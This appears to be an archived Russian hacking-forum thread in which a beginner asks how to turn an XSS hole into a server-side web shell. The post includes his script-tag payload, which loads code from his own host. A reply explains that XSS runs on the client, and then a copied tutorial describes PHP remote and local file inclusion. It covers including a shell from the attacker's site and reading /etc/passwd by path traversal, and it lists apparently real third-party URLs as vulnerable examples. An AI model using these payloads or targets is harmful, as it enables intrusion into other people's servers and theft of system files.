Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

загрузка файла с java..

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> загрузка файла с java..
Имя
Сообщение << Старые топики   Новые топики >>
загрузка файла с java.. - 2008-09-14 00:46:22.766666   
ido46od

Сообщений: 71
Оценки: 0
Присоединился: 2008-07-17 21:31:29.910000
есть один сайт с хсс, вот и хсс: "><sсriрt src=http://******/xss.js></sсriрt><input type=text value=fuck-you. где http://******/ это мой сайт зареганной в phpnet.us. теперь нужно чтобы xss.js загрузил на сервер шелл или в xss.js написать сам шелл и при открытие создался на серваке шелл иди в xss.js сделать аплоад. такое возможно? если нет прошу скажите другие пути. заранее спасибо.
Post #: 1
RE: загрузка файла с java.. - 2008-09-14 03:09:11.570000   
b1аck$un

Сообщений: 55
Оценки: 0
Присоединился: 2008-08-26 05:55:35.736666
quote:

такое возможно?

Нет. XSS - это Client Side, тобишь скрипты, выполняемые на стороне клиента, а не на сервере.
Post #: 2
RE: загрузка файла с java.. - 2008-09-14 20:55:59.160000   
ido46od

Сообщений: 71
Оценки: 0
Присоединился: 2008-07-17 21:31:29.910000
я попробовал в js писать document.write('*******') (******* - <?php phpinfo(); ?>) не получился. а что можно делать чтобы выполнялся php код?
Post #: 3
RE: загрузка файла с java.. - 2008-09-14 21:10:48.713333   
b1аck$un

Сообщений: 55
Оценки: 0
Присоединился: 2008-08-26 05:55:35.736666
Эстонец? Я же сказал - никак ты шелл через ксс не зальешь! Пхп - работает на стороне сервера, JavaScript - на стороне клиента
Post #: 4
RE: загрузка файла с java.. - 2008-09-15 20:24:18.693333   
GivioN

Сообщений: 25
Оценки: 0
Присоединился: 2008-08-31 01:20:18.680000
quote:

ORIGINAL: ido46od

&nbsp;а что можно делать чтобы выполнялся php код?

PHP-injection
Для понимания ее устройства нам потребуется всего немного обратиться к языку PHP, конкретнее к функции include() в этом языке.
Давайте представим себе. что у нас имеется какой-то скрипт, который вызывается запросом вида:
site.com/file.php?page=index
А сам исходный код скрипта выглядит так:
.. Include ("$page.php"); … Поясним, что это значит. Это всего-лишь означает, что данный скрипт будет загружать страницу, переданную в параметре page и присваивать ей расширение .php. Давайте для начала научимся проверять сайты на наличие php-injection. Попробуем просто набрать в адресной строке:
http://site.com/file.php?page=[hack] В случае описанном выше мы получим ошибку вида:
Warning: main([hack].php): failed to open stream: No such file or directory in /home/user/www/file.php on line 3 Мы попытались подставить вместо указанного имени файла свое и у нас получилось. Система попыталась найти файл [hack].php - не смогла и выдала соответствующую ошибку.
Теперь давайте подставим вместо уязвимого параметра наш сайт с предварительно залитым на него web-shell'ом.
Например:
http://site.com/file.php?page=http://supersite/shell В этом случае на удаленный сайт будет инклюднут файл shell.php, который находится на нашем сайте, что дальше делать - думаю понятно:-)
Теперь другой случай, имеем код вида:
.. Include ("sc&lt;-b&gt;&lt;/b-&gt;ri&lt;-b&gt;&lt;/b-&gt;pt/$page"); … В данном случае - все что нам доступно - это чтение произвольных файлов на сервере, ибо вместо $page мы можем подставить:
../../../../../etc/passwd - например, что приведет к выводу /etc/passwd Но вот выполнить наш шелл находящийся на другом сервере мы уже не можем.

Вот основные моменты, которые приводят к php-injection'ам.
Для начала приведу пару примеров:
ВНЕШНИЙ ИНКЛЮД
http://www.sembiz.com/index.php?addr=[site] ЛОКАЛЬНЫЙ ИНКЛЮД
http://www.bilug.linux.it/php/out.htm?link=../../../../../../etc/passwd                                                                                                            eraflame(с)
Post #: 5
Страниц:  [1]
Все форумы >> [Для начинающих] >> загрузка файла с java..







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.